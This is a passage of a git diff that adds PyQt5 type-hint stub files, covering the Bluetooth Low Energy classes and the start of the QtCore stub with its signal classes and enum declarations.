'QLowEnergyController': ... + def discoveryFinished(self) -> None: ... + def serviceDiscovered(self, newService: QBluetoothUuid) -> None: ... + def stateChanged(self, state: 'QLowEnergyController.ControllerState') -> None: ... + def disconnected(self) -> None: ... + def connected(self) -> None: ... + def remoteName(self) -> str: ... + def errorString(self) -> str: ... + @typing.overload + def error(self) -> 'QLowEnergyController.Error': ... + @typing.overload + def error(self, newError: 'QLowEnergyController.Error') -> None: ... + def createServiceObject(self, service: QBluetoothUuid, parent: typing.Optional[QtCore.QObject] = ...) -> 'QLowEnergyService': ... + def services(self) -> typing.List[QBluetoothUuid]: ... + def discoverServices(self) -> None: ... + def disconnectFromDevice(self) -> None: ... + def connectToDevice(self) -> None: ... + def setRemoteAddressType(self, type: 'QLowEnergyController.RemoteAddressType') -> None: ... + def remoteAddressType(self) -> 'QLowEnergyController.RemoteAddressType': ... + def state(self) -> 'QLowEnergyController.ControllerState': ... + def remoteAddress(self) -> QBluetoothAddress: ... + def localAddress(self) -> QBluetoothAddress: ... + + +class QLowEnergyDescriptor(PyQt5.sip.wrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QLowEnergyDescriptor') -> None: ... + + def type(self) -> QBluetoothUuid.DescriptorType: ... + def name(self) -> str: ... + def handle(self) -> int: ... + def uuid(self) -> QBluetoothUuid: ... + def value(self) -> QtCore.QByteArray: ... + def isValid(self) -> bool: ... + + +class QLowEnergyDescriptorData(PyQt5.sip.wrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, uuid: QBluetoothUuid, value: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + @typing.overload + def __init__(self, other: 'QLowEnergyDescriptorData') -> None: ... + + def swap(self, other: 'QLowEnergyDescriptorData') -> None: ... + def writeConstraints(self) -> QBluetooth.AttAccessConstraints: ... + def isWritable(self) -> bool: ... + def setWritePermissions(self, writable: bool, constraints: typing.Union[QBluetooth.AttAccessConstraints, QBluetooth.AttAccessConstraint] = ...) -> None: ... + def readConstraints(self) -> QBluetooth.AttAccessConstraints: ... + def isReadable(self) -> bool: ... + def setReadPermissions(self, readable: bool, constraints: typing.Union[QBluetooth.AttAccessConstraints, QBluetooth.AttAccessConstraint] = ...) -> None: ... + def isValid(self) -> bool: ... + def setUuid(self, uuid: QBluetoothUuid) -> None: ... + def uuid(self) -> QBluetoothUuid: ... + def setValue(self, value: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + def value(self) -> QtCore.QByteArray: ... + + +class QLowEnergyService(QtCore.QObject): + + class WriteMode(int): + WriteWithResponse = ... # type: QLowEnergyService.WriteMode + WriteWithoutResponse = ... # type: QLowEnergyService.WriteMode + WriteSigned = ... # type: QLowEnergyService.WriteMode + + class ServiceState(int): + InvalidService = ... # type: QLowEnergyService.ServiceState + DiscoveryRequired = ... # type: QLowEnergyService.ServiceState + DiscoveringServices = ... # type: QLowEnergyService.ServiceState + ServiceDiscovered = ... # type: QLowEnergyService.ServiceState + LocalService = ... # type: QLowEnergyService.ServiceState + + class ServiceError(int): + NoError = ... # type: QLowEnergyService.ServiceError + OperationError = ... # type: QLowEnergyService.ServiceError + CharacteristicWriteError = ... # type: QLowEnergyService.ServiceError + DescriptorWriteError = ... # type: QLowEnergyService.ServiceError + CharacteristicReadError = ... # type: QLowEnergyService.ServiceError + DescriptorReadError = ... # type: QLowEnergyService.ServiceError + UnknownError = ... # type: QLowEnergyService.ServiceError + + class ServiceType(int): + PrimaryService = ... # type: QLowEnergyService.ServiceType + IncludedService = ... # type: QLowEnergyService.ServiceType + + class ServiceTypes(PyQt5.sip.wrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QLowEnergyService.ServiceTypes', 'QLowEnergyService.ServiceType']) -> None: ... + @typing.overload + def __init__(self, a0: 'QLowEnergyService.ServiceTypes') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QLowEnergyService.ServiceTypes': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def descriptorRead(self, info: QLowEnergyDescriptor, value: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + def characteristicRead(self, info: QLowEnergyCharacteristic, value: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + def readDescriptor(self, descriptor: QLowEnergyDescriptor) -> None: ... + def readCharacteristic(self, characteristic: QLowEnergyCharacteristic) -> None: ... + def descriptorWritten(self, info: QLowEnergyDescriptor, value: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + def characteristicWritten(self, info: QLowEnergyCharacteristic, value: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + def characteristicChanged(self, info: QLowEnergyCharacteristic, value: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + def stateChanged(self, newState: 'QLowEnergyService.ServiceState') -> None: ... + def writeDescriptor(self, descriptor: QLowEnergyDescriptor, newValue: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + def writeCharacteristic(self, characteristic: QLowEnergyCharacteristic, newValue: typing.Union[QtCore.QByteArray, bytes, bytearray], mode: 'QLowEnergyService.WriteMode' = ...) -> None: ... + @typing.overload + def contains(self, characteristic: QLowEnergyCharacteristic) -> bool: ... + @typing.overload + def contains(self, descriptor: QLowEnergyDescriptor) -> bool: ... + @typing.overload + def error(self) -> 'QLowEnergyService.ServiceError': ... + @typing.overload + def error(self, error: 'QLowEnergyService.ServiceError') -> None: ... + def discoverDetails(self) -> None: ... + def serviceName(self) -> str: ... + def serviceUuid(self) -> QBluetoothUuid: ... + def characteristics(self) -> typing.List[QLowEnergyCharacteristic]: ... + def characteristic(self, uuid: QBluetoothUuid) -> QLowEnergyCharacteristic: ... + def state(self) -> 'QLowEnergyService.ServiceState': ... + def type(self) -> 'QLowEnergyService.ServiceTypes': ... + def includedServices(self) -> typing.List[QBluetoothUuid]: ... + + +class QLowEnergyServiceData(PyQt5.sip.wrapper): + + class ServiceType(int): + ServiceTypePrimary = ... # type: QLowEnergyServiceData.ServiceType + ServiceTypeSecondary = ... # type: QLowEnergyServiceData.ServiceType + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QLowEnergyServiceData') -> None: ... + + def swap(self, other: 'QLowEnergyServiceData') -> None: ... + def isValid(self) -> bool: ... + def addCharacteristic(self, characteristic: QLowEnergyCharacteristicData) -> None: ... + def setCharacteristics(self, characteristics: typing.Iterable[QLowEnergyCharacteristicData]) -> None: ... + def characteristics(self) -> typing.List[QLowEnergyCharacteristicData]: ... + def addIncludedService(self, service: QLowEnergyService) -> None: ... + def setIncludedServices(self, services: typing.Iterable[QLowEnergyService]) -> None: ... + def includedServices(self) -> typing.List[QLowEnergyService]: ... + def setUuid(self, uuid: QBluetoothUuid) -> None: ... + def uuid(self) -> QBluetoothUuid: ... + def setType(self, type: 'QLowEnergyServiceData.ServiceType') -> None: ... + def type(self) -> 'QLowEnergyServiceData.ServiceType': ... diff --git a/OTHERS/Jarvis/ools/PyQt5/QtCore.pyi b/OTHERS/Jarvis/ools/PyQt5/QtCore.pyi new file mode 100644 index 00000000..3a969914 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/QtCore.pyi @@ -0,0 +1,9364 @@ +# The PEP 484 type hints stub file for the QtCore module. +# +# Generated by SIP 6.4.0 +# +# Copyright (c) 2021 Riverbank Computing Limited +# +# This file is part of PyQt5. +# +# This file may be used under the terms of the GNU General Public License +# version 3.0 as published by the Free Software Foundation and appearing in +# the file LICENSE included in the packaging of this file. Please review the +# following information to ensure the GNU General Public License version 3.0 +# requirements will be met: http://www.gnu.org/copyleft/gpl.html. +# +# If you do not wish to use this file under the terms of the GPL version 3.0 +# then you may purchase a commercial license. For more information contact +# info@riverbankcomputing.com. +# +# This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +# WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +import typing + +import PyQt5.sip + +# Support for QDate, QDateTime and QTime. +import datetime + + +# Support for new-style signals and slots. +class pyqtSignal: + + signatures = ... # type: typing.Tuple[str, ...] + + def __init__(self, *types: typing.Any, name: str = ...) -> None: ... + + @typing.overload + def __get__(self, instance: None, owner: typing.Type['QObject']) -> 'pyqtSignal': ... + + @typing.overload + def __get__(self, instance: 'QObject', owner: typing.Type['QObject']) -> 'pyqtBoundSignal': ... + + + +class pyqtBoundSignal: + + signal = ... # type: str + + def __getitem__(self, key: object) -> 'pyqtBoundSignal': ... + + def connect(self, slot: 'PYQT_SLOT') -> 'QMetaObject.Connection': ... + + @typing.overload + def disconnect(self) -> None: ... + + @typing.overload + def disconnect(self, slot: typing.Union['PYQT_SLOT', 'QMetaObject.Connection']) -> None: ... + + def emit(self, *args: typing.Any) -> None: ... + + +# Convenient type aliases. +PYQT_SIGNAL = typing.Union[pyqtSignal, pyqtBoundSignal] +PYQT_SLOT = typing.Union[typing.Callable[..., None], pyqtBoundSignal] + + +class QtMsgType(int): + QtDebugMsg = ... # type: QtMsgType + QtWarningMsg = ... # type: QtMsgType + QtCriticalMsg = ... # type: QtMsgType + QtFatalMsg = ... # type: QtMsgType + QtSystemMsg = ... # type: QtMsgType + QtInfoMsg = ... # type: QtMsgType + + +class QCborKnownTags(int): + DateTimeString = ... # type: QCborKnownTags + UnixTime_t = ... # type: QCborKnownTags + PositiveBignum = ... # type: QCborKnownTags + NegativeBignum = ... # type: QCborKnownTags + Decimal = ... # type: QCborKnownTags + Bigfloat = ... # type: QCborKnownTags + COSE_Encrypt0 = ... # type: QCborKnownTags + COSE_Mac0 = ... # type: QCborKnownTags + COSE_Sign1 = ... # type: QCborKnownTags + ExpectedBase64url = ... # type: QCborKnownTags + ExpectedBase64 = ... # type: QCborKnownTags + ExpectedBase16 = ... # type: QCborKnownTags + EncodedCbor = ... # type: QCborKnownTags + Url = ... # type: QCborKnownTags + Base64url = ... # type: QCborKnownTags + Base64 = ... # type: QCborKnownTags + RegularExpression = ... # type: QCborKnownTags + MimeMessage = ... # type: QCborKnownTags + Uuid = ... # type: QCborKnownTags + COSE_Encrypt = ... # type: QCborKnownTags + COSE_Mac = ... # type: QCborKnownTags + COSE_Sign = ... # type: QCborKnownTags + Signature = ... # type: QCborKnownTags + + +class QCborSimpleType(int): + False_ = ... # type: QCborSimpleType + True_ = ... # type: QCborSimpleType + Null = ... # type: QCborSimpleType + Undefined = ... # type: QCborSimpleType + + +class Qt(PyQt5.sip.simplewrapper): + + class HighDpiScaleFactorRoundingPolicy(int): + Round = ... # type: Qt.HighDpiScaleFactorRoundingPolicy + Ceil = ... # type: Qt.HighDpiScaleFactorRoundingPolicy + Floor = ... # type: Qt.HighDpiScaleFactorRoundingPolicy + RoundPreferFloor = ... # type: Qt.HighDpiScaleFactorRoundingPolicy + PassThrough = ... # type: Qt.HighDpiScaleFactorRoundingPolicy + + class ChecksumType(int): + ChecksumIso3309 = ... # type: Qt.ChecksumType + ChecksumItuV41 = ... # type: Qt.ChecksumType + + class EnterKeyType(int): + EnterKeyDefault = ... # type: Qt.EnterKeyType + EnterKeyReturn = ... # type: Qt.EnterKeyType + EnterKeyDone = ... # type: Qt.EnterKeyType + EnterKeyGo = ... # type: Qt.EnterKeyType + EnterKeySend = ... # type: Qt.EnterKeyType + EnterKeySearch = ... # type: Qt.EnterKeyType + EnterKeyNext = ... # type: Qt.EnterKeyType + EnterKeyPrevious = ... # type: Qt.EnterKeyType + + class ItemSelectionOperation(int): + ReplaceSelection = ... # type: Qt.ItemSelectionOperation + AddToSelection = ... # type: Qt.ItemSelectionOperation + + class TabFocusBehavior(int): + NoTabFocus = ... # type: Qt.TabFocusBehavior + TabFocusTextControls = ... # type: Qt.TabFocusBehavior + TabFocusListControls = ... # type: Qt.TabFocusBehavior + TabFocusAllControls = ... # type: Qt.TabFocusBehavior + + class MouseEventFlag(int): + MouseEventCreatedDoubleClick = ... # type: Qt.MouseEventFlag + + class MouseEventSource(int): + MouseEventNotSynthesized = ... # type: Qt.MouseEventSource + MouseEventSynthesizedBySystem = ... # type: Qt.MouseEventSource + MouseEventSynthesizedByQt = ... # type: Qt.MouseEventSource + MouseEventSynthesizedByApplication = ... # type: Qt.MouseEventSource + + class ScrollPhase(int): + ScrollBegin = ... # type: Qt.ScrollPhase + ScrollUpdate = ... # type: Qt.ScrollPhase + ScrollEnd = ... # type: Qt.ScrollPhase + NoScrollPhase = ... # type: Qt.ScrollPhase + ScrollMomentum = ... # type: Qt.ScrollPhase + + class NativeGestureType(int): + BeginNativeGesture = ... # type: Qt.NativeGestureType + EndNativeGesture = ... # type: Qt.NativeGestureType + PanNativeGesture = ... # type: Qt.NativeGestureType + ZoomNativeGesture = ... # type: Qt.NativeGestureType + SmartZoomNativeGesture = ... # type: Qt.NativeGestureType + RotateNativeGesture = ... # type: Qt.NativeGestureType + SwipeNativeGesture = ... # type: Qt.NativeGestureType + + class Edge(int): + TopEdge = ... # type: Qt.Edge + LeftEdge = ... # type: Qt.Edge + RightEdge = ... # type: Qt.Edge + BottomEdge = ... # type: Qt.Edge + + class ApplicationState(int): + ApplicationSuspended = ... # type: Qt.ApplicationState + ApplicationHidden = ... # type: Qt.ApplicationState + ApplicationInactive = ... # type: Qt.ApplicationState + ApplicationActive = ... # type: Qt.ApplicationState + + class HitTestAccuracy(int): + ExactHit = ... # type: Qt.HitTestAccuracy + FuzzyHit = ... # type: Qt.HitTestAccuracy + + class WhiteSpaceMode(int): + WhiteSpaceNormal = ... # type: Qt.WhiteSpaceMode + WhiteSpacePre = ... # type: Qt.WhiteSpaceMode + WhiteSpaceNoWrap = ... # type: Qt.WhiteSpaceMode + WhiteSpaceModeUndefined = ... # type: Qt.WhiteSpaceMode + + class FindChildOption(int): + FindDirectChildrenOnly = ... # type: Qt.FindChildOption + FindChildrenRecursively = ... # type: Qt.FindChildOption + + class ScreenOrientation(int): + PrimaryOrientation = ... # type: Qt.ScreenOrientation + PortraitOrientation = ... # type: Qt.ScreenOrientation + LandscapeOrientation = ... # type: Qt.ScreenOrientation + InvertedPortraitOrientation = ... # type: Qt.ScreenOrientation + InvertedLandscapeOrientation = ... # type: Qt.ScreenOrientation + + class CursorMoveStyle(int): + LogicalMoveStyle = ... # type: Qt.CursorMoveStyle + VisualMoveStyle = ... # type: Qt.CursorMoveStyle + + class NavigationMode(int): + NavigationModeNone = ... # type: Qt.NavigationMode + NavigationModeKeypadTabOrder = ... # type: Qt.NavigationMode + NavigationModeKeypadDirectional = ... # type: Qt.NavigationMode + NavigationModeCursorAuto = ... # type: Qt.NavigationMode + NavigationModeCursorForceVisible = ... # type: Qt.NavigationMode + + class GestureFlag(int): + DontStartGestureOnChildren = ... # type: Qt.GestureFlag + ReceivePartialGestures = ... # type: Qt.GestureFlag + IgnoredGesturesPropagateToParent = ... # type: Qt.GestureFlag + + class GestureType(int): + TapGesture = ... # type: Qt.GestureType + TapAndHoldGesture = ... # type: Qt.GestureType + PanGesture = ... # type: Qt.GestureType + PinchGesture = ... # type: Qt.GestureType + SwipeGesture = ... # type: Qt.GestureType + CustomGesture = ... # type: Qt.GestureType + + class GestureState(int): + GestureStarted = ... # type: Qt.GestureState + GestureUpdated = ... # type: Qt.GestureState + GestureFinished = ... # type: Qt.GestureState + GestureCanceled = ... # type: Qt.GestureState + + class TouchPointState(int): + TouchPointPressed = ... # type: Qt.TouchPointState + TouchPointMoved = ... # type: Qt.TouchPointState + TouchPointStationary = ... # type: Qt.TouchPointState + TouchPointReleased = ... # type: Qt.TouchPointState + + class CoordinateSystem(int): + DeviceCoordinates = ... # type: Qt.CoordinateSystem + LogicalCoordinates = ... # type: Qt.CoordinateSystem + + class AnchorPoint(int): + AnchorLeft = ... # type: Qt.AnchorPoint + AnchorHorizontalCenter = ... # type: Qt.AnchorPoint + AnchorRight = ... # type: Qt.AnchorPoint + AnchorTop = ... # type: Qt.AnchorPoint + AnchorVerticalCenter = ... # type: Qt.AnchorPoint + AnchorBottom = ... # type: Qt.AnchorPoint + + class InputMethodHint(int): + ImhNone = ... # type: Qt.InputMethodHint + ImhHiddenText = ... # type: Qt.InputMethodHint + ImhNoAutoUppercase = ... # type: Qt.InputMethodHint + ImhPreferNumbers = ... # type: Qt.InputMethodHint + ImhPreferUppercase = ... # type: Qt.InputMethodHint + ImhPreferLowercase = ... # type: Qt.InputMethodHint + ImhNoPredictiveText = ... # type: Qt.InputMethodHint + ImhDigitsOnly = ... # type: Qt.InputMethodHint + ImhFormattedNumbersOnly = ... # type: Qt.InputMethodHint + ImhUppercaseOnly = ... # type: Qt.InputMethodHint + ImhLowercaseOnly = ... # type: Qt.InputMethodHint + ImhDialableCharactersOnly = ... # type: Qt.InputMethodHint + ImhEmailCharactersOnly = ... # type: Qt.InputMethodHint + ImhUrlCharactersOnly = ... # type: Qt.InputMethodHint + ImhExclusiveInputMask = ... # type: Qt.InputMethodHint + ImhSensitiveData = ... # type: Qt.InputMethodHint + ImhDate = ... # type: Qt.InputMethodHint + ImhTime = ... # type: Qt.InputMethodHint + ImhPreferLatin = ... # type: Qt.InputMethodHint + ImhLatinOnly = ... # type: Qt.InputMethodHint + ImhMultiLine = ... # type: Qt.InputMethodHint + ImhNoEditMenu = ... # type: Qt.InputMethodHint + ImhNoTextHandles = ... # type: Qt.InputMethodHint + + class TileRule(int): + StretchTile = ... # type: Qt.TileRule + RepeatTile = ... # type: Qt.TileRule + RoundTile = ... # type: Qt.TileRule + + class WindowFrameSection(int): + NoSection = ... # type: Qt.WindowFrameSection + LeftSection = ... # type: Qt.WindowFrameSection + TopLeftSection = ... # type: Qt.WindowFrameSection + TopSection = ... # type: Qt.WindowFrameSection + TopRightSection = ... # type: Qt.WindowFrameSection + RightSection = ... # type: Qt.WindowFrameSection + BottomRightSection = ... # type: Qt.WindowFrameSection + BottomSection = ... # type: Qt.WindowFrameSection + BottomLeftSection = ... # type: Qt.WindowFrameSection + TitleBarArea = ... # type: Qt.WindowFrameSection + + class SizeHint(int): + MinimumSize = ... # type: Qt.SizeHint + PreferredSize = ... # type: Qt.SizeHint + MaximumSize = ... # type: Qt.SizeHint + MinimumDescent = ... # type: Qt.SizeHint + + class SizeMode(int): + AbsoluteSize = ... # type: Qt.SizeMode + RelativeSize = ... # type: Qt.SizeMode + + class EventPriority(int): + HighEventPriority = ... # type: Qt.EventPriority + NormalEventPriority = ... # type: Qt.EventPriority + LowEventPriority = ... # type: Qt.EventPriority + + class Axis(int): + XAxis = ... # type: Qt.Axis + YAxis = ... # type: Qt.Axis + ZAxis = ... # type: Qt.Axis + + class MaskMode(int): + MaskInColor = ... # type: Qt.MaskMode + MaskOutColor = ... # type: Qt.MaskMode + + class TextInteractionFlag(int): + NoTextInteraction = ... # type: Qt.TextInteractionFlag + TextSelectableByMouse = ... # type: Qt.TextInteractionFlag + TextSelectableByKeyboard = ... # type: Qt.TextInteractionFlag + LinksAccessibleByMouse = ... # type: Qt.TextInteractionFlag + LinksAccessibleByKeyboard = ... # type: Qt.TextInteractionFlag + TextEditable = ... # type: Qt.TextInteractionFlag + TextEditorInteraction = ... # type: Qt.TextInteractionFlag + TextBrowserInteraction = ... # type: Qt.TextInteractionFlag + + class ItemSelectionMode(int): + ContainsItemShape = ... # type: Qt.ItemSelectionMode + IntersectsItemShape = ... # type: Qt.ItemSelectionMode + ContainsItemBoundingRect = ... # type: Qt.ItemSelectionMode + IntersectsItemBoundingRect = ... # type: Qt.ItemSelectionMode + + class ApplicationAttribute(int): + AA_ImmediateWidgetCreation = ... # type: Qt.ApplicationAttribute + AA_MSWindowsUseDirect3DByDefault = ... # type: Qt.ApplicationAttribute + AA_DontShowIconsInMenus = ... # type: Qt.ApplicationAttribute + AA_NativeWindows = ... # type: Qt.ApplicationAttribute + AA_DontCreateNativeWidgetSiblings = ... # type: Qt.ApplicationAttribute + AA_MacPluginApplication = ... # type: Qt.ApplicationAttribute + AA_DontUseNativeMenuBar = ... # type: Qt.ApplicationAttribute + AA_MacDontSwapCtrlAndMeta = ... # type: Qt.ApplicationAttribute + AA_X11InitThreads = ... # type: Qt.ApplicationAttribute + AA_Use96Dpi = ... # type: Qt.ApplicationAttribute + AA_SynthesizeTouchForUnhandledMouseEvents = ... # type: Qt.ApplicationAttribute + AA_SynthesizeMouseForUnhandledTouchEvents = ... # type: Qt.ApplicationAttribute + AA_UseHighDpiPixmaps = ... # type: Qt.ApplicationAttribute + AA_ForceRasterWidgets = ... # type: Qt.ApplicationAttribute + AA_UseDesktopOpenGL = ... # type: Qt.ApplicationAttribute + AA_UseOpenGLES = ... # type: Qt.ApplicationAttribute + AA_UseSoftwareOpenGL = ... # type: Qt.ApplicationAttribute + AA_ShareOpenGLContexts = ... # type: Qt.ApplicationAttribute + AA_SetPalette = ... # type: Qt.ApplicationAttribute + AA_EnableHighDpiScaling = ... # type: Qt.ApplicationAttribute + AA_DisableHighDpiScaling = ... # type: Qt.ApplicationAttribute + AA_PluginApplication = ... # type: Qt.ApplicationAttribute + AA_UseStyleSheetPropagationInWidgetStyles = ... # type: Qt.ApplicationAttribute + AA_DontUseNativeDialogs = ... # type: Qt.ApplicationAttribute + AA_SynthesizeMouseForUnhandledTabletEvents = ... # type: Qt.ApplicationAttribute + AA_CompressHighFrequencyEvents = ... # type: Qt.ApplicationAttribute + AA_DontCheckOpenGLContextThreadAffinity = ... # type: Qt.ApplicationAttribute + AA_DisableShaderDiskCache = ... # type: Qt.ApplicationAttribute + AA_DontShowShortcutsInContextMenus = ... # type: Qt.ApplicationAttribute + AA_CompressTabletEvents = ... # type: Qt.ApplicationAttribute + AA_DisableWindowContextHelpButton = ... # type: Qt.ApplicationAttribute + AA_DisableSessionManager = ... # type: Qt.ApplicationAttribute + AA_DisableNativeVirtualKeyboard = ... # type: Qt.ApplicationAttribute + + class WindowModality(int): + NonModal = ... # type: Qt.WindowModality + WindowModal = ... # type: Qt.WindowModality + ApplicationModal = ... # type: Qt.WindowModality + + class MatchFlag(int): + MatchExactly = ... # type: Qt.MatchFlag + MatchFixedString = ... # type: Qt.MatchFlag + MatchContains = ... # type: Qt.MatchFlag + MatchStartsWith = ... # type: Qt.MatchFlag + MatchEndsWith = ... # type: Qt.MatchFlag + MatchRegExp = ... # type: Qt.MatchFlag + MatchWildcard = ... # type: Qt.MatchFlag + MatchCaseSensitive = ... # type: Qt.MatchFlag + MatchWrap = ... # type: Qt.MatchFlag + MatchRecursive = ... # type: Qt.MatchFlag + MatchRegularExpression = ... # type: Qt.MatchFlag + + class ItemFlag(int): + NoItemFlags = ... # type: Qt.ItemFlag + ItemIsSelectable = ... # type: Qt.ItemFlag + ItemIsEditable = ... # type: Qt.ItemFlag + ItemIsDragEnabled = ... # type: Qt.ItemFlag + ItemIsDropEnabled = ... # type: Qt.ItemFlag + ItemIsUserCheckable = ... # type: Qt.ItemFlag + ItemIsEnabled = ... # type: Qt.ItemFlag + ItemIsTristate = ... # type: Qt.ItemFlag + ItemNeverHasChildren = ... # type: Qt.ItemFlag + ItemIsUserTristate = ... # type: Qt.ItemFlag + ItemIsAutoTristate = ... # type: Qt.ItemFlag + + class ItemDataRole(int): + DisplayRole = ... # type: Qt.ItemDataRole + DecorationRole = ... # type: Qt.ItemDataRole + EditRole = ... # type: Qt.ItemDataRole + ToolTipRole = ... # type: Qt.ItemDataRole + StatusTipRole = ... # type: Qt.ItemDataRole + WhatsThisRole = ... # type: Qt.ItemDataRole + FontRole = ... # type: Qt.ItemDataRole + TextAlignmentRole = ... # type: Qt.ItemDataRole + BackgroundRole = ... # type: Qt.ItemDataRole + BackgroundColorRole = ... # type: Qt.ItemDataRole + ForegroundRole = ... # type: Qt.ItemDataRole + TextColorRole = ... # type: Qt.ItemDataRole + CheckStateRole = ... # type: Qt.ItemDataRole + AccessibleTextRole = ... # type: Qt.ItemDataRole + AccessibleDescriptionRole = ... # type: Qt.ItemDataRole + SizeHintRole = ... # type: Qt.ItemDataRole + InitialSortOrderRole = ... # type: Qt.ItemDataRole + UserRole = ... # type: Qt.ItemDataRole + + class CheckState(int): + Unchecked = ... # type: Qt.CheckState + PartiallyChecked = ... # type: Qt.CheckState + Checked = ... # type: Qt.CheckState + + class DropAction(int): + CopyAction = ... # type: Qt.DropAction + MoveAction = ... # type: Qt.DropAction + LinkAction = ... # type: Qt.DropAction + ActionMask = ... # type: Qt.DropAction + TargetMoveAction = ... # type: Qt.DropAction + IgnoreAction = ... # type: Qt.DropAction + + class LayoutDirection(int): + LeftToRight = ... # type: Qt.LayoutDirection + RightToLeft = ... # type: Qt.LayoutDirection + LayoutDirectionAuto = ... # type: Qt.LayoutDirection + + class ToolButtonStyle(int): + ToolButtonIconOnly = ... # type: Qt.ToolButtonStyle + ToolButtonTextOnly = ... # type: Qt.ToolButtonStyle + ToolButtonTextBesideIcon = ... # type: Qt.ToolButtonStyle + ToolButtonTextUnderIcon = ... # type: Qt.ToolButtonStyle + ToolButtonFollowStyle = ... # type: Qt.ToolButtonStyle + + class InputMethodQuery(int): + ImMicroFocus = ... # type: Qt.InputMethodQuery + ImFont = ... # type: Qt.InputMethodQuery + ImCursorPosition = ... # type: Qt.InputMethodQuery + ImSurroundingText = ... # type: Qt.InputMethodQuery + ImCurrentSelection = ... # type: Qt.InputMethodQuery + ImMaximumTextLength = ... # type: Qt.InputMethodQuery + ImAnchorPosition = ... # type: Qt.InputMethodQuery + ImEnabled = ... # type: Qt.InputMethodQuery + ImCursorRectangle = ... # type: Qt.InputMethodQuery + ImHints = ... # type: Qt.InputMethodQuery + ImPreferredLanguage = ... # type: Qt.InputMethodQuery + ImPlatformData = ... # type: Qt.InputMethodQuery + ImQueryInput = ... # type: Qt.InputMethodQuery + ImQueryAll = ... # type: Qt.InputMethodQuery + ImAbsolutePosition = ... # type: Qt.InputMethodQuery + ImTextBeforeCursor = ... # type: Qt.InputMethodQuery + ImTextAfterCursor = ... # type: Qt.InputMethodQuery + ImEnterKeyType = ... # type: Qt.InputMethodQuery + ImAnchorRectangle = ... # type: Qt.InputMethodQuery + ImInputItemClipRectangle = ... # type: Qt.InputMethodQuery + + class ContextMenuPolicy(int): + NoContextMenu = ... # type: Qt.ContextMenuPolicy + PreventContextMenu = ... # type: Qt.ContextMenuPolicy + DefaultContextMenu = ... # type: Qt.ContextMenuPolicy + ActionsContextMenu = ... # type: Qt.ContextMenuPolicy + CustomContextMenu = ... # type: Qt.ContextMenuPolicy + + class FocusReason(int): + MouseFocusReason = ... # type: Qt.FocusReason + TabFocusReason = ... # type: Qt.FocusReason + BacktabFocusReason = ... # type: Qt.FocusReason + ActiveWindowFocusReason = ... # type: Qt.FocusReason + PopupFocusReason = ... # type: Qt.FocusReason + ShortcutFocusReason = ... # type: Qt.FocusReason + MenuBarFocusReason = ... # type: Qt.FocusReason + OtherFocusReason = ... # type: Qt.FocusReason + NoFocusReason = ... # type: Qt.FocusReason + + class TransformationMode(int): + FastTransformation = ... # type: Qt.TransformationMode + SmoothTransformation = ... # type: Qt.TransformationMode + + class ClipOperation(int): + NoClip = ... # type: Qt.ClipOperation + ReplaceClip = ... # type: Qt.ClipOperation + IntersectClip = ... # type: Qt.ClipOperation + + class FillRule(int): + OddEvenFill = ... # type: Qt.FillRule + WindingFill = ... # type: Qt.FillRule + + class ShortcutContext(int): + WidgetShortcut = ... # type: Qt.ShortcutContext + WindowShortcut = ... # type: Qt.ShortcutContext + ApplicationShortcut = ... # type: Qt.ShortcutContext + WidgetWithChildrenShortcut = ... # type: Qt.ShortcutContext + + class ConnectionType(int): + AutoConnection = ... # type: Qt.ConnectionType + DirectConnection = ... # type: Qt.ConnectionType + QueuedConnection = ... # type: Qt.ConnectionType + BlockingQueuedConnection = ... # type: Qt.ConnectionType + UniqueConnection = ... # type: Qt.ConnectionType + + class Corner(int): + TopLeftCorner = ... # type: Qt.Corner + TopRightCorner = ... # type: Qt.Corner + BottomLeftCorner = ... # type: Qt.Corner + BottomRightCorner = ... # type: Qt.Corner + + class CaseSensitivity(int): + CaseInsensitive = ... # type: Qt.CaseSensitivity + CaseSensitive = ... # type: Qt.CaseSensitivity + + class ScrollBarPolicy(int): + ScrollBarAsNeeded = ... # type: Qt.ScrollBarPolicy + ScrollBarAlwaysOff = ... # type: Qt.ScrollBarPolicy + ScrollBarAlwaysOn = ... # type: Qt.ScrollBarPolicy + + class DayOfWeek(int): + Monday = ... # type: Qt.DayOfWeek + Tuesday = ... # type: Qt.DayOfWeek + Wednesday = ... # type: Qt.DayOfWeek + Thursday = ... # type: Qt.DayOfWeek + Friday = ... # type: Qt.DayOfWeek + Saturday = ... # type: Qt.DayOfWeek + Sunday = ... # type: Qt.DayOfWeek + + class TimeSpec(int): + LocalTime = ... # type: Qt.TimeSpec + UTC = ... # type: Qt.TimeSpec + OffsetFromUTC = ... # type: Qt.TimeSpec + TimeZone = ... # type: Qt.TimeSpec + + class DateFormat(int): + TextDate = ... # type: Qt.DateFormat + ISODate = ... # type: Qt.DateFormat + ISODateWithMs = ... # type: Qt.DateFormat + LocalDate = ... # type: Qt.DateFormat + SystemLocaleDate = ... # type: Qt.DateFormat + LocaleDate = ... # type: Qt.DateFormat + SystemLocaleShortDate = ... # type: Qt.DateFormat + SystemLocaleLongDate = ... # type: Qt.DateFormat + DefaultLocaleShortDate = ... # type: Qt.DateFormat + DefaultLocaleLongDate = ... # type: Qt.DateFormat + RFC2822Date = ... # type: Qt.DateFormat + + class ToolBarArea(int): + LeftToolBarArea = ... # type: Qt.ToolBarArea + RightToolBarArea = ... # type: Qt.ToolBarArea + TopToolBarArea = ... # type: Qt.ToolBarArea + BottomToolBarArea = ... # type: Qt.ToolBarArea + ToolBarArea_Mask = ... 